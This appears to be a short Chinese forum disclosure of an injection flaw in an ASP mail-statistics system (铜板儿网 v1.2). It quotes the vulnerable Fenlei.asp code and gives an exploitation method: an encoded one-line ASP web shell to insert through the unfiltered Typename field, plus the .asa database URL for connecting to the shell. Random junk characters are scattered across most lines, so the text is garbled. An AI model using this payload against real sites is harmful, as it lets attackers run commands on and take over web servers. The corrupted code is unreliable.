铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
( h" y/ v2 B. J" K+ j
' h+ T3 ]* E& I2 U3 t% {: ~IF Request.QueryString("Action")="del" Then
$ x- U5 @* I/ b6 ~7 E- }7 DID=Request.QueryString("ID")
! \/ B1 i- R7 LIF Countss ("tui","Fenlei",ID )<>0 then
& d' {7 O8 z2 Z0 v4 ?# X+ `'略
IF Request.QueryString("Action")="Add" Then
1 J' t1 {7 A2 }6 A4 }) b* QTname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
3 X/ |0 _: ?. m( C& @/ S' M0 ^3 P) LRs.Open Sql,Conn,1,3
Rs.Addnew
% `: u- g: x) u# m/ Z+ G. lRs("Typename")=Tname
'略
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
'略
%>
3 u6 w; d! i$ |% ~) `
7 r& l) l* S8 `- |8 n' s, G9 f/ y+ ~

3 w" i& S" y3 o没有过滤，直接写入数据库。

' ^* A" M+ h5 b5 z, p& Z利用方法：

插入：┼攠數畣整爠煥敵瑳∨≡┩>
6 Y5 \. f+ s0 h6 N1 o. I2 E
- C2 z. X; Q9 N' ^; U9 I/ R
4 |; n- p& a! F连接： http://www.xxx.com/###tongbaner.asa
'默认安装文件：
- @* {8 a! `/ ]  a9 P0 E  G'install.asp
6 X+ S' T8 t3 ]8 i1 O, k. F( v